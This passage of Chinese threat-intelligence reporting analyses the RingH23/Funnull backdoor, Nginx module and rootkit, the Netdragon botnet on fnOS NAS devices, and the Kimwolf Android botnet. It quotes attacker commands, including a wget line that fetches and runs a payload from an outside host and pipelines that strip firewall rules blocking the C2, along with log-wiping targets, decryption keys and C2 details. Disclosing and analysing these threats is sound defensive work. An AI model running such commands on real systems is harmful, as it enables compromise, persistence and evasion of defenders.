可以看出C2返回的JSON数据包含各种载荷的下载地址，download_init 从中提取 hash 字段，并以此完成整个感染流程的闭环。具体步骤包括：首先，在 /var/adm 目录下创建以该 hash 命名的文件夹，用于存储下载的恶意载荷；接着，将 udev_rules 文件植入系统规则目录 /etc/udev/rules.d，命名为 99-{hash}.rules，以实现系统重启后的持久化自启动；随后，将kernel.so重命名为libutilkeybd.so，并将其路径写到 /etc/ld.so.preload，通过系统预加载机制来隐藏恶意进程的活动痕迹；最后，启动后门模块 office_bin，维持对受感染设备的持续控制，并重启 Nginx 进程以动态加载 module.so 模块，将特定条件的访问流量劫持至色情或博彩网站，完成所有的载荷部署。

0x3: office_bin

office_bin是一个配置灵法，高度模块化/插件化，使用AES加密网络通信的后门木马。基于样本进行时会输出信息大量使用redis2s，我们将它命名为badredis2s，它由Dropper,Client,Plugin 3大部分组成，因为没有stripped的缘故，在逆向分析上并没有难度，功能一目了然。

先说Dropper，它的主要目的是加载内嵌的ELF，执行其导出函数kernel_module_entry，参数为config_base64，它指向的加密的配置信息。

再来看Client，它由上述Dropper释放，核心逻辑设计简洁而高效：首先对加密配置进行解密，从中提取C2服务器地址、任务执行时间策略及通信密钥等关键参数。当系统时间符合预设的执行策略时，客户端即尝试与C2服务器建立通信通道，等待接收并执行远程指令。值得注意的是，该恶意软件在C2获取，网络传输方面都采用了两层冗余机制以增强健壮性：

（1）C2 获取机制

优先从Microsoft Aure Blob存储服务动态获取最新的C2地址
若云端获取失败，则自动回退至内置的硬编码C2地址

（2）网络传输机制

首选通过WebSocket over TLS（wss）加密通道进行通信
当wss连接因防火墙阻断或网络限制而失败时，切换至DNS隧道技术作为备选传输方案

下文将从配置解密，C2获取，时间校验，网络通信等方面，剖析Client的技术实现。

① 解密配置

配置信息使用了简单的"xor + base64"的保护方式，base64使用原生的字母表，xor 密钥为0x23。

解密后的Config中涵盖C2，时间规则，AES密钥，初始向量等信息。

② C2获取

Config的前250字节为主C2的云端配置地址，接着的278字节为备用C2，主C2需要通过云端配置动态获得，而备用C2则是可以直接使用。

访问主C2的云端配置地址，会看到一个IIS LOGO页面，看似一切正常，其实玄机隐藏在网页源码 RequestID:/#$*SRUNT0pNVltHSlBXUUwNTUZXGRcXEA==*#$/部分，Client通过正则表达式\\s*/#\\$\\*.*?\\*#\\$/提取SRUNT0pNVltHSlBXUUwNTUZXGRcXEA==，它其实是一个加密的C2配置，通过base64解码，单字节 xor 0x23即可得到C2 j6.linuxdistro.net:443，此处和备用C2是一致的。

③ 时间窗口校验

Client通过 time_for_connect 函数来决定是否允许在当下时间执行。其机制是从配置数据的固定偏移量（小时列表起始于0x210字节，分钟列表起始于0x270字节）读取时间白名单，并与当前系统时间进行匹配。不过，根据解密后的配置显示，该策略当前设置为全天候允许，即小时（0-23）和分钟（0-59）均无限制。

④ 网络通信

Client在通信层面采用 “WSS 优先、DNS Tunnel 兜底” 的双通道策略，并通过精细的时间控制与失败计数机制，在保证 C2 可达性的同时，尽量维持与正常网络流量一致的行为特征。当高隐蔽性的 WSS 通信受阻时，样本会在限定时间内切换至 DNS Tunnel，以维持控制通道的连续性，随后再自动回退至主通信方式。

对通信数据的逆向分析表明，WSS 通道内的应用层数据遵循“压缩 → 加密”的处理流程，具体为 zlib 压缩 + AES-128-CBC 加密。AES 密钥从配置结构偏移 0x360 处读取（16 字节），对应的 IV 位于 0x370 偏移处（16 字节）。

而 DNS Tunnel 的实现基于开源工具 iodine。iodine 是一种隧道工具，通过将 IPv4 数据封装并传输于 DNS 请求与响应中，从而在常规互联网访问被防火墙限制、但仍允许 DNS 查询的网络环境下建立通信通道。与 iodine 相关的运行参数存储于样本配置数据偏移 0x3E5 处，其中可解析出使用的 Name Server 为 8.8.8.8，对应的 Top Domain 为 nsj6.linuxdistro.net。

Client 在接收到来自 C2 的响应数据后，首先对数据进行 AES 解密，随后执行 zlib 解压，最终将解析后的明文数据传递至 kernel_on_message 函数，并根据不同的指令号执行相应的功能逻辑。

接下来以虚拟机产生的实际流量来说明Client网络通信的报文格式，wss的流量经中间人劫持后如下所示：

先看C2向Client下发的第一条指令，使用AES CBC解密，再解压，即可得到明文01 01 00 00 00 00 04 00 00 00 01 00 00 00。Client的网络报文遵循 “1字节 flag + 4字节 cmd count + 1字节 type +4 字节的 cmd1 length + 4 字节 cmd1” 这一格式，明文指令解析可知，这是0x00000001指令，即要求上报设备信息。对解密流程感兴趣的读者，可以参考原文附录中的CyberChef。

读者如果尝试用我们提供的CyberChef去解密C2下发的第二条指令，会发现解密失败。原因是不同于一般的AES CBC模式，Badredis2s使用是所谓的AES-CBC with chained IV，即每条消息的IV是前一条消息的最后一个密文块。因此要想解密第二条指令，IV需要设置为第一指令的最后16字节 87 3d 0d 46 1c 94 9d 46 26 55 5c 2a 9a 72 1c aa。

最后看一下Plugin，Badredis2s中0x12指令和插件操作相关。我们在指令跟踪系统中实现了Badredis2s的网络协议后，成功跟踪到0x12号指令，捕获shell, filemanager俩个插件。每个插件都有自己专属的Request-URI：shell使用的是/index/sl.html；filemanager使用的是/index/fm.html。

在分析filemanager插件时，又发现了以下3个新插件。稍加观察，不难发现插件名与路径存在一定的关联，我们尝试对路径进行爆破，确实发现了一个新的URI /index/ao.html，可惜没能反推出它代表的插件名，未能捕获该插件。

关于插件的功能，其名称本身便已体现核心用途：例如 shell 用于执行 Shell 命令，filemanager 负责文件管理。这种插件体系显著增强了 Badredis2s 的灵活性，攻击者只需下发不同功能的插件，即可轻松实现各类复杂任务。由于这些插件均未经过代码混淆或去符号处理，分析起来并无太大难度，对实现细节感兴趣的读者可自行深入研究，本文不再展开论述。

0x4: module.so

module.so是一个恶意的Nginx过滤模块，我们将它命名为Badnginx2s。Badnginx2s是一种较为罕见的针对Nginx后门木马，其本质是一个Nginx模块，它通过在Web服务器层面植入恶意过滤器，对流出流量进行深度篡改与攻击，主要功能包括：

远程命令执行：后门预留了隐蔽的命令通道，允许远程命令执行
下载劫持：当用户从受感染网站下载特定类型的文件时，木马会暗中替换下载链接
代码注入：向网页注入恶意JavaScript代码，将访问用户重定向至博彩、色情等不良网站，非法获取流量或实施进一步诈骗。
视频插播：向M3U8播放列表文件插入时长为5秒的恶意媒体片段条目，用于流媒体内容劫持或广告注入
数字资产窃取：攻击者以将自己的收款地址替换网页中的数字货币钱包地址，从而在用户转账时直接截留资金，构成隐蔽的金融盗窃。

Badnginx2s通过注册俩个HTTP过滤器函数：ngx_http_hello_header_filter，ngx_http_hello_body_filter实现上述功能。其中header_filter负责处理 HTTP 响应头阶段，主要完成远程命令执行、策略更新、下载劫持、以及标记需要注入恶意代码的特定网页等核心控制任务；body_filter负责处理 HTTP 响应体阶段，主要用于向页面注入恶意 JavaScript 代码，以及实现钱包地址篡改等客户端侧攻击行为。这种设计使得 Badnginx2s 能够在响应生成的不同阶段灵活执行隐蔽且精准的恶意操作，既能实现服务器端的远程控制，又能完成客户端侧的窃取与欺诈。

① 远程命令执行

攻击者将远程命令隐藏在HTTP请求头的Cookie字段中，以此实现隐蔽通信。其中，comm字段存储加密后的命令，其原始格式为“时间戳$$指令”，例如1768813387$$whoami，该内容先经过密钥0x5A的XOR异或加密，再经Base64编码后传输；sign字段则存储base64编码后的基于P-256椭圆曲线生成的数字签名，Badnginx2s通过公钥校验签名的有效性，确保指令的完整性与来源可信。这种机制使攻击者能够在看似正常的HTTP请求中隐蔽执行远程命令。

② 策略操纵

Badnginx2s 在运行时动态生成劫持配置，包含重定向域名、恶意 JS 载荷地址、白名单网段等策略。为实现对配置的远程实时调控，攻击者通过 Cookie 建立隐蔽管理通道：配置操作指令经加密后存放在 conf 字段，其加密方式与上文 comm 字段相同（XOR+Base64）；数字签名则存放于 sign 字段，仍采用 P-256 椭圆曲线算法进行校验。通过该机制，攻击者可远程隐蔽执行配置的查询和更新，从而灵活实施精准攻击。

以查询当前配置为例，原始命令为get$$，它经上述加密流程处理后，构成Cookie中的conf字段；服务器收到这个请求后，当sign字段中的签名通过校验，就返回当前的配置。攻击者可通过这种方式动态的调整重定向域名，恶意JS载荷地址等内容。

③ 下载劫持

当网络请求 APK、PLIST 或 MOBILECONFIG 这三种特定资源时，Badnginx2s 会实施下载劫持。它通过 https://%s.aqyaqua.com 这一格式动态构造域名，并返回对应的恶意载荷。

值得注意的是，aqyaqua.com 本身仅作为一个流量入口，会将不同资源类型的请求转发至不同的目标地址。目前，只有针对 APK 的载荷处于有效状态。

④ 页面篡改

Badnginx2s通过ngx_http_hello_body_filter函数实现在网页的篡改，涵盖了数字钱包替换，视频插播，恶意JS注入。

数字钱包替换

当网页内容中出现以太坊或波场钱包地址时，将其替换为指定的攻击者地址：例如，将以太坊地址替换为 0xAA3Bd92445a2E1fE38C7693d77259BeD42a144c3，或将波场地址替换为 TCMCY9ccNmQGfUNHTNtCByCof3VdQnip2b。如此一来就在用户完全无感知的情况下实现了对交易的窃取，用户以为的正常转账，却在“神不知鬼不觉”中流入了攻击者的口袋。

视频插播

当网页和HLS直播流相关时，攻击者可篡改M3U8播放列表文件，插入自定义视频流。我们目前已捕获到一次此类攻击行为，攻击者插入了一个时长5秒、名为广告_1.ts的视频流片段。该攻击表面看似仅为广告插播，但其潜在危害远不止于此——攻击者可轻易将插入内容替换为色情、暴力等不良信息，甚至利用目前高度逼真的AI生成技术，伪造政治宣传、虚假新闻或引导性极强的深度伪造视频。这类攻击不仅破坏用户体验，更可能被用于意识形态渗透、社会舆论操纵与公共秩序干扰，属于具备高扩散性、强误导性与社会危害性的新型网络攻击载体。

恶意JS注入

当网页为html类型时，按优先级顺序搜索，，，https://cdnjs[.]jsdclivr[.]com/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css?v=3.7.8.2。

0x5: libutilkeybd.so

libutilkeybd.so是一个基于LD_PRELOAD技术的用户态Rootkit，我们将它命名为Badhide2s，它的核心目标分为两方面：载荷痕迹隐匿于Nginx模块动态植入。

隐匿维度：通过写入/etc/ld.so.preload使自身被加载，实现对ss、netstat、top、htop、ps、ls、lsof等常用工具的过滤，覆盖文件、进程、网络三大维度的痕迹隐藏。此类用户态Rootkit手法在Linux恶意软件中较为常见，Badhide2s并未实现显著的技术创新，但其隐匿的IP地址数量达25个，规模相对较大。
模块植入：通过Hook __libc_start_main——GNU C库的程序入口函数——在进程启动阶段进行检测。当识别到目标进程为Nginx时，动态篡改其启动参数，追加 -g load_module /var/adm/{hash}nginx/module.so ，从而实现恶意模块的隐蔽加载。

值得注意的是，Badhide2s 内置了一个环境变量触发开关机制：当检测到系统中存在环境变量 RING04，且其值为特定哈希串时，该恶意软件的所有隐藏功能将自动关闭。这实际上为应急响应提供了一个快速排查入口，防御方在获取哈希值后，只需执行：export RING04H={hash}即可一键解除所有隐匿，使被隐藏的恶意进程、文件及网络连接完全“显形”。

0x6: udev rule & script

利用udev规则实现持久化，在Linux 威胁中并不常见，目前公开的案例只有俩个：sedexp以及UNC3886。所谓 udev ，指的是 Linux 内核的设备管理系统，负责动态管理 /dev 目录下的设备节点文件，包括创建设备节点、处理热插拔事件以及按需加载驱动程序。udev 规则是其配置文件，用于匹配设备事件（如接入或移除设备）并触发相应操作，它们通常位于 /etc/udev/rules.d/ 或 /lib/udev/rules.d/ 目录下，典型的规则如下所示，由设备匹配条件和对应的执行动作组成。

ACTION=="add", KERNEL=="device", RUN+="/path/to/script"

此次活动会在/etc/udev/ruldes.d目录下增加一个99-{hash}.rules的规则，当任意非本地回环的网络接口（包括物理网卡、虚拟接口）被系统识别时（add 事件），该规则会立即被触发，通过 systemd-run 启动一个受控的临时服务，隐蔽执行指定的脚本/var/adm/{hash}/udev/udev.sh 。

udev.sh脚本就是没有什么特别之处，只是用来启动前文分析过的Badredis2s后门（ring04h_office_bin），以及一个未知的组件（ring04h_agent_bin）。

额外的情报

在download_init中，有一个main_pre的函数，用于清除的痕迹，从函数逻辑来看，这些痕迹与RingH23强相关。在清理目标的数组中包含17个不同的字串，令人惊奇的是其中一些字串，如libcext.so.2，/var/log/cross/auto-colar等明显和Palo Alto Networks 于2025年2月24日披露的autocolor后门相关。

此外，我们发现 /var/log/jroqq 是一个非常独特的字符串，并以此为线索，找到了一个用 Golang 语言实现的后门文件 auto-color。该后门通过文件锁 /var/log/jroqq/auto.l 实现单一实例运行，但后门本身并未包含创建该文件的代码，说明它需要与其他组件协同工作，我们内部将其命名为 V2deck。它的主要功能是执行C2下发的命令并回传结果。样本中一共内嵌了10个C2，使用 XOR + BASE64的方式进行保护，xor key为 poop。

目前跟踪到的指令显示V2deck在收集Nginx,FikkerCDN等进程的信息，和RingH23的目标接近。

ps -ef | grep Fikker | grep -v grep | wc -l
ss -antp | grep nginx |grep ESTAB | awk {'print $5'} | awk -F\: {'print $1'} | sort | uniq | wc -l

尽管目前仅以中等信心将 v2deck 与 RingH23 关联起来，但考虑到该后门样本及其 C2 域名目前的检测率极低，我们决定将相关情报与本文一并发布。

总结

这是目前我们掌握的Funnull黑产新活动的大部分情报。我们建议网络管理员与个人网站所有者立即开展自查工作，并参照以下指引进行处置。

① 针对RingH23

使用ldd命令检查系统命令的依赖加载情况，重点检测是否存在恶意模块/var/adm/{uuid}/kernel/libutilkeybd.so。若发现该模块，则设置环境变量RING04H={uuid} 以禁用rootkit的保护功能，随后按以下路径清理恶意文件：

/etc/ld.preload.conf中与{uuid}有关的部分
/etc/udev/99-{uuid}.rules
/var/adm/{uuid}目录下所有文件

② 针对maccms.la

不建议继续使用maccms.la。如果无法迁移，可使用“grep xxSJRox”查看模板js是否已被注入，“grep gzuncompress”查看php中是否可疑的隐藏载荷，并对以下文件进行处理

删除/application/extra/active.php
删除/application/admin/controller/Update.php
修改/application/admin/view_new/index/index.html中ajax升级部分的域名

黑产活动在利益驱使下往往“野火烧不尽，春风吹又生”，具有非常强的顽固性，必须依靠全行业的协同合作才能有效遏制。我们诚邀安全厂商及相关技术机构与我们建立联系，推动情报共享与联动处置，共同打击网络犯罪，维护网络安全生态。如果您对我们的研究感兴趣，或者了解内幕消息，欢迎通过微信公众号与我们联系。

对IOC感兴趣的读者，请点击下方的阅读原文，我们的官方Blog提供了详尽的IOC情报。

阅读原文

跳转微信打开

针对飞牛 NAS 的僵尸网络Netdragon 快速分析

Thu, 12 Feb 2026 12:27:00 +0800

原创奇安信X实验室 2026-02-12 12:27 云南

背景

近期，飞牛（fnOS）网络附加存储设备（NAS）曝出大规模遭入侵并感染恶意软件的安全事件。攻击者疑似利用飞牛 NAS 系统中尚未公开的安全漏洞，在设备对外暴露相关服务的情况下成功植入恶意程序。通过对已捕获并分析的恶意样本进行研判，我们确认其隶属于 netdragon 恶意软件家族。该家族最早于 2024 年 10 月被我们发现并持续跟踪至今，其核心能力包括 DDoS 攻击与远程命令执行，可将被感染的 NAS 设备纳入僵尸网络，参与大规模分布式拒绝服务攻击活动。

值得注意的是，Netdragon 在其入侵行为逐步暴露后，持续对样本的对抗能力进行升级，通过多层手段削弱防御与清除效果。在网络层面，样本会主动删除系统中用于阻断 C2 通信的 iptables / nft规则，绕过既有封堵措施；同时篡改 hosts 文件，对飞牛 NAS 官方升级域名进行劫持，从而阻断设备获取系统更新和安全补丁。

在持久化方面，Netdragon 同时引入 systemd 服务与内核模块，构建用户态与内核态的双重持久化机制，显著提升样本在设备上的存活能力；而在代码层面，则通过动态密钥加壳等方式增加逆向分析与签名检测的难度。上述多种对抗手段协同作用，使受感染设备难以被彻底清除，显著抬高了防御、溯源与应急响应成本。

受这些对抗行为影响，部分受害设备的系统升级机制被直接破坏，表现为无法正常完成系统升级或安装官方安全补丁)。该问题进一步导致设备长期处于受感染状态，安全风险被持续放大。

受限于当前可获取的数据，我们尚无法完整还原飞牛 NAS 被入侵的具体攻击路径及漏洞细节，相关内容暂不展开讨论。本文将重点围绕恶意样本行为分析、感染规模评估以及 DDoS 攻击活动特征等方面，分享我们阶段性的研究结论。

感染情况分析

经过对样本功能的深入分析，我们确认netdragon会在受害设备上开启一个 http 后门接口，攻击者可通过该接口对被感染设备实施远程访问与控制。

基于该后门的通信特征，并结合 XLAB 全球鹰资产测绘能力进行排查，我们共发现 1000 余个存在感染迹象的 IP 地址。分析结果表明，这些 IP 均对应飞牛设备，目前尚未发现其他类型设备受到影响。

全球鹰资产测绘

此外，从 XLAB 伴随域名数据中也可以进一步佐证上述结论。如下图所示，xd.killaurasleep[.]top 为 netdragon 下载样本所使用的域名，该域名在被动 DNS 记录中与多个飞牛相关域名存在明显的伴随关系，表明被感染设备可能主要集中于飞牛生态。

XLAB伴随域名

感染规模方面，结合XLAB全球鹰资产测绘和我们掌握的C2控制端数据看。netdragon僵尸网络1月底感染的设备可能在1500台左右。

netdragon控制端截图显示在线设备1143台

DDoS攻击分析

我们自 2024 年 10 月起持续监控与 netdragon 相关的 DDoS 攻击活动。分析显示，netdragon 主要通过 Telegram Bot、HTTP API 等渠道接收攻击指令，并据此发起分布式拒绝服务（DDoS）攻击。

监控结果表明，netdragon 的攻击行为不具备明显的定向性，攻击目标分布范围较广，主要涉及中国、美国、新加坡、澳大利亚等地区。受影响对象涵盖信息传输、软件与信息技术服务、制造业，以及公共管理、社会保障和社会组织等多个行业领域。

netdragon攻击事件趋势

另外我们还观察到2月1日夜晚僵尸网络作者向所有BOT发出了一条删除文件指令、删除飞牛NAS设备上的一个私钥文件rsa_private_key.pem。我们不确定删除这个文件的目的是什么，但是删除私钥文件这种操作看着就很危险。

样本分析

通过我们跟踪系统长期监测，已捕获到该恶意家族的多个变种样本。综合分析发现，该家族样本整体采用模块化设计，主要由 Loader 组件和 DDoS 组件两个核心部分构成。其中，Loader 组件负责在受害设备上完成初始加载、环境探测及后续功能模块的投递，而 DDoS 组件则用于执行具体的攻击指令。最新样本在运行过程中展现出多项与 fnOS 环境高度相关的行为特征，包括对系统结构、服务配置及运行环境的针对性适配，表明该恶意家族最新的样本并非泛化传播，而是对 fnOS 设备具有明确的定向攻击意图。

XLAB捕获的部分样本下载链接

Loader组件

该组件主要完成痕迹清理、持久化、阻断更新/恢复的功能

隐藏攻击痕迹

清空日志相关文件目录，隐藏攻击痕迹，目录及文件如下：

/var/log/accountsrv/
/var/log/apps/
/var/log/apt/
/var/log/cloud_storage_dav/
/var/log/openvswitch/
/var/log/postgresql/
/var/log/trim_app_center/
/var/log/trim_license/
/var/log/trim_sac/
/var/log/trim_tfa/
/var/log/trim-connect/
/var/log/trim-sharelink/
/var/log/*.log
/usr/trim/logs/ai_manager/
/usr/trim/logs/*.log
/usr/trim/nginx/logs/
/var/log/secure
/var/log/secure.1
/var/log/secure-*
/var/log/secure.*.gz
/var/log/messages
/var/log/messages.1
/var/log/messages-*
/var/log/messages.*.gz
/run/log/journal/
/var/log/journal/
/var/log/wtmp
/var/log/btmp
/var/log/lastlog
/var/log/audit/audit.log
/var/log/audit/audit.log.*

http后门

监听本地端口57132，实现http后门，可执行任意指令

method: GET
path: /api
arg: log

后门通过解密参数hex字符串得到要执行的指令，若执行成功会返回"OK"

阻止更新与恢复

通过修改hosts劫持飞牛os更新域名到0.0.0.0

apiv2-liveupdate.fnnas.com
update-service.test.teiron-inc.cn

关闭用于系统恢复的服务

pkill -f sysrestore_service
pkill -f backup_service

删除更新/恢复相关文件

/tmp/trim-update
/tmp/appcenter
chattr
liveupdate
backup_local
backup_remote
backup_cloud
backup_service
findmnt

持久化

下载下一阶段组件并持久化

在system_startup.sh后追加

wget http://151.240.*.*/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp

DDoS组件

该组件主要用于DDoS，同时支持任意指令执行和持久化

字符串解密

使用chacha20解密字符串表

key和nonce硬编码在样本中

KEY_HEX:
161E194B111F001D041C0E080B1A110705080D0F060A15010C141F1702031318
NONCE_HEX:
1E002A0000036E0000070106

解密出的字符串表如下：

PWNED FROM NETDRAG
sshd
/ngday
x86
/dev
/tmp
aura.kabot.icu
xd.bmlkda.icu
/etc/hosts
/etc/machine-id
/proc/sys/kernel/random/boot_id

针对几个重点字符串的说明：

成功运行后会输出PWNED FROM NETDRAG
修改进程名为sshd
在本地监听端口(不固定，根据本地地址生成)，当读取到/ngday

时退出，确保单一实例运行

隐藏自身

成功运行后会删除自身文件

通过挂载操作，隐藏或隔离当前和子进程在/proc下的信息

/proc/[PID] -> /tmp

持久化

复制自身到/sbin/gots和/usr/bin/%s

下文中的%s为文件名，botid为样本运行的第一个参数，如果无参数默认为x86

在/etc/systemd/system/%s.service下创建服务

[Unit]\nDescription=AutoStart Service
After=network-online.target
Requires=network-online.target
[Service]
Type=oneshot
ExecStart= /usr/bin/%s botid
RemainAfterExit=yes
Restart=no
[Install]
WantedBy=multi-user.target

通过/etc/rc.d/rc.local和/etc/rc.local实现持久化

# AutoStart
/sbin/gots botid &

C2与网络协议

随机选择硬编码在样本中的45.95.*.*或者字符串表中的aura.kabot[.icu作为C2

从4个端口中随机选择一个连接：3489, 5098, 6608, 7489

明文消息格式:

type Message{
    msgType uint8 
    pLen    uint16 
    padding uint16
    randLen uint16
    randByte []byte
    paylaoad []byte
}

消息类型和所代表的功能

msgType	desc
1	DDoS
2	task done
3	ping
4	handshake
5	botid
6	login
7	pong
8	exec cmd

协议基于ChaCha20算法实现。其核心特征在于双向独立的持久化流状态，配合硬编码密钥进行初始会话协商。

协议交互分为四个关键阶段：

初始上线
Bot 端主动发起，发送明文上线包。

由于随机函数代码bug，导致消息的随机数据长度为0同时上线包无payload，因此上线包hex为

06 00 00 00 00 00 00

密钥协商与 Nonce 分发
由服务端生成随机的单密钥和双Nonce，并采用了二次加密：

Session Key 保护：使用32 字节 Key 进行 XOR 运算后发出。

双 Nonce 机制：服务端下发两个不同的 Nonce：

NonceA：用于 Bot 端发送数据加密（服务端解密）。

NonceB：用于服务端发送数据加密（Bot 端解密）。

握手验证
这是确保 XOR 解密后的 Session Key 正确性的关键步骤：

Bot 验证：Bot 使用解出的Key和NonceA加密handshake消息发往服务端。

服务端验证：服务端解密并比对消息类型，若正确则使用Key和NonceB回复加密响应。

状态同步：Bot解密响应，若成功，则双方建立互信。

确认分组与指令循环
Bot加密发送botid消息，服务端可根据该ID对Bot进行分组

持续通信：进入指令循环阶段，Bot 持续监听服务端下发的加密指令。

隐藏DDoS行为

在接收到DDoS指令时，还会执行以下指令

mv /usr/bin/cat /usr/bin/cat2
pkill -f 'network_service|resmon_service

这意味着在进行DDoS时，无法使用系统的cat命令和网络资源监控服务，以此来隐藏DDoS行为

对抗

发现问题后，官方和部分用户发布了解决方案/脚本，但在1月31日该僵尸网络再次更新组件进行对抗

删除nft和iptable中删除阻止C2连接的规则

nft list ruleset -a | grep C2IP | sed -n 's/.*table \\([^ ]*\\) \\([^ ]*\\).*handle \\([0-9]*\\).*/nft delete rule \\1 \\2 handle \\3/p' | sh
iptables -t filter -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t nat -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t mangle -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t raw -S | grep C2IP | sed 's/^-A/-D/' | sh

修改webshell后门的端口为57199
新的内核持久化模块async_memcpys.ko

新的用户态持久化服务/etc/systemd/system/dockers.service
更换新的C2基础设施
使用动态的8字节KEY对样本进行加壳保护

阅读原文

跳转微信打开

史上最疯：独家揭秘感染全球180万Android设备的巨型僵尸网络Kimwolf

Wed, 17 Dec 2025 12:54:00 +0800

原创奇安信X实验室 2025-12-17 12:54 北京

背景介绍

2025年10月24日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，该样本最特别的地方是它的C2域名14emeliaterracewestroxburyma02132[.]su彼时在Cloudflare 域名流行度排名中位列第2，一周之后甚至超越Google，问鼎Cloudflare 域名流行度排名全球第一。毫无疑问这是一个超级大规模的僵尸网络，基于样本运行时输出的信息以及使用wolfssl库，我们将它命名为Kimwolf.

Kimwolf 是一个使用 NDK 编译的僵尸网络，除具备典型的 DDoS 攻击能力外，还集成了代理转发、反向 Shell 和文件管理等功能。从整体架构来看，其功能设计并不复杂，但其中仍有一些值得关注的亮点：例如，该样本采用了简单而有效的栈异或（Stack XOR）操作对敏感数据进行加密；同时利用 DNS over TLS（DoT）协议封装 DNS 请求，以规避传统安全检测。此外，其 C2 身份认证采用基于椭圆曲线的数字签名保护机制，Bot 端会在验签通过后才接受通信指令。近期更引入EtherHiding技术以区块链域名对抗处置，这些特征在同类恶意软件中较为少见。从我们的分析结果来看，它主要针对Android平台电视盒子。C2 后台所显示的 “欢迎来到 Android Support Center” 信息也可以印证这一点。

Kimwolf样本中使用“niggabox + v数字”的命名规则来标识版本号，社区伙伴先前提供的样本为v4版本。我们在完成逆向分析之后，将样本的情报导入XLab大网威胁感知系统，陆续捕获包括v4、v5在内的多个相关样本，实现了对该家族的自动化持续跟踪。

11月30日，我们再次捕获到该僵尸网络家族的一个新样本，并成功接管了其中一个C2域名，从而首次获得了直接观测该僵尸网络真实运行规模的机会。基于与我们注册的C2地址建立连接、且通信行为符合Kimwolf C2协议特征的源IP数据进行统计，在12月3日至12月5日的三天内，共观测到累计约270 万个不同的源IP地址。其中，12月3日观测到约136万个活跃 IP，12月4日约183万个，12月5日约150万个（不同日期之间存在IP重叠）。分析表明，Kimwolf主要感染对象为部署在住宅网络环境中的电视盒子。由于住宅网络通常采用动态IP分配机制，设备的公网IP会随时间变化，因此无法仅通过 IP数量准确衡量被感染设备的真实规模。换言之，累计观测到的270万个IP地址并不等同于270万台被感染设备。

尽管如此，我们仍有充分理由认为，kimwolf实际感染的设备数量超过180万台。这一判断基于以下几个方面的观察：

kimwolf使用多个C2基础设施。我们接管的仅是其中一部分C2，因此只能观测到部分Bot的活动，无法覆盖整个僵尸网络的全貌。
在12月4日，我们观测到的Bot IP数量达到约183万，为历史峰值。当天，kimwolf 正常使用的部分C2被相关机构处置，导致大量Bot无法连接原有C2，转而尝试连接我们抢注的C2。这一异常事件使得更多Bot 在短时间内集中暴露，因此该日的数据可能更接近真实的感染规模下限。
被感染设备分布在全球多个时区。受时区差异和使用习惯影响（例如夜间关机、节假日不使用电视盒子等），这些设备并不会同时在线，进一步增加了通过单一时间窗口全面观测的难度。
kimwolf 存在多个不同版本，且不同版本使用的C2并不完全相同，这也是我们无法获取完整视角的重要原因之一

综合以上因素，我们保守估计 kimwolf 的实际感染设备数量已超过180万台。如此规模的僵尸网络具备发动大规模网络攻击的能力，其潜在破坏力不容忽视。

在努力跟踪新版本的同时，我们也对旧版本充满了好奇。通过溯源分析，虽然没能捕获v1,v2之类的旧版本，但是我们惊奇的发现Kimwolf居然和Aisuru僵尸网络关联在一起。Kimwolf运行时依赖一个APK文件将它加载启动，一个于10月7日由印度上传到VT的DEX文件表现出了和Kimwolf的APK明显的同源特征，随后在10月18日该DEX的母体APK于阿尔及利亚被上传至VT，该APK的资源文件包含x86,x64,arm3个CPU架构的Aisuru样本。我们推测此次活动初期，攻击者直接复用了 Aisuru 的代码展开活动；随后，可能由于 Aisuru 样本在安全产品中的检测率较高——与 IoT 生态相比，Android 平台具备更成熟的安全防护体系——该团伙决定重新设计并开发了 Kimwolf 僵尸网络，以增强隐蔽性，规避检测。

从XLab指令跟踪系统的监测数据来看，统计显示Kimwolf僵尸网络的主要功能通常集中于流量代理，少量DDoS攻击。然而在11月19日至22日期间，它突然“发疯”：短短的3天，下发了17亿条DDoS攻击指令，攻击范围几乎覆盖全球大量IP地址。这是C2域名流行度登顶事件之后，又一次高调且疯狂的行动，理论上来说如此多的攻击指令和攻击目标可能无法对目标产生实质性的攻击效果，这次行为可能是纯粹为了彰显自身存在感。

当前，安全社区对Kimwolf的认知呈现两极分化态势。公开情报领域信息稀缺，其传播路径尚未明确，相关样本及其C2域名在VirusTotal上的检出率极低。同时，由于采用（DOT）等隐蔽技术，其C2与样本之间的关联性也未能被有效发现。然而，在非公开的威胁对抗层面，情况截然不同。我们观察到Kimwolf的C2域名已被未知方成功处置至少三次，迫使其战术升级，转而利用基于区块链的命名服务（例如Ethereum Name Service，即 .eth 域名）来加固基础设施，显示出其强大对抗演化能力。鉴于Kimwolf已形成庞大攻击规模，且近期活动频率与攻击行为呈显著上升趋势，我方认为有必要打破情报沉默。特此发布本技术分析报告，公开相关研究成果，旨在推动威胁情报共享，凝聚社区力量共同应对此此类威胁，切实维护网络空间安全。

时间线

10月24日，社区信任伙伴向我们提供了首个 kimwolf 样本，版本为 v4。
11月1日至28日，Xlab 大网威胁感知系统独立捕获8个新样本，涵盖 v4 与 v5 版本。
12月1日，Xlab 成功接管 v5 版本中的一个 C2 域名，观测到的日活跃 bot IP数量峰值约达 183 万。
12月4日，Kimwolf C2域名被未知方处置，C2域名无法解析到有效的IP地址。

12月6日，Xlab再次捕获到新的 v5 样本，该样本启用6个新的 C2 地址。
12月8日，发现在野活跃的下载服务器，成功捕获kimwolf活动相关脚本。
12月10日，Kimwolf的新C2域名再次被处置

12月11日，Xlab再次捕获到新的 v5 样本，该样本的启用一个全新的C2域名，但C2端口并未开放；母体APK证书更新。
12月12日，Kimwolf再次升级基础设施，通过引入区块链的域名来增强C2的抗打击能力，以回应此前遭到的多次处置，甚至嚣张宣称“手握百台服务器，欢迎来封”。

感染规模 & 攻击能力

12月1日，我们成功接管了一个Kimwolf的C2域名，首次得以直接评估该僵尸网络的真实感染规模。从统计数据来看，累计感染IP超过366万，并于12月4日达到活跃峰值，单日节点IP高达1829977。我们的接管行动似乎触发了连锁反应，随后未知第三方对Kimwolf的其他C2基础设施实施了处置（如停止DNS解析）。此举破使Kimwolf的运营者不得不紧急进行升级，全面替换样本的C2配置，这导致我们观测到的数字急剧下降，当前日活规模在20万左右。

Kimwolf主要针对安卓平台，涉及电视、机顶盒，平板等设备，部分设备型号如下所示：

Device Model	Device Model	Device Model	Device Model
TV BOX	SuperBOX	HiDPTAndroid	P200
